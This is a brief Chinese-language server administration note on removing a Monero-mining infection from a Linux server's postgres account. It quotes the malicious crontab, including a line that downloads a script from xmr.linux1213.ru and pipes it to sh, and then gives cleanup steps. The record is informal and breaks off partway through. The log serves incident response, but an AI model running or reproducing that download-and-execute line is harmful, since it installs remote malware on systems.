病毒定时任务
查看定时任务
sudo crontab -u postgres -l
[root@master ~]# sudo crontab -u postgres -l
*/30 * * * * /home/postgres//home/postgres/data/./oka
* */6 * * * wget -q -O- http://xmr.linux1213.ru:2019/back.sh | sh
删除postgres用户的定时任务
sudo crontab -u postgres -r
把它的配置文件改错,把user瞎改一下保存
[root@master tmp]# ll
total 3740
-rw-r--r-- 1 postgres postgres 4998 Sep 7 12:30 config.json 【病毒配置文件】
杀掉进程top里占用高的病毒进程,有好几个,一个占用900%,还有3个进程260%
kill -9 pid
病毒会重启,因为现在配置文件里user不对,他cpu占用非常低了
清理病毒
[root@master postgres]# ps -ef|grep postgres
postgres 4951 1 0 Aug19 ?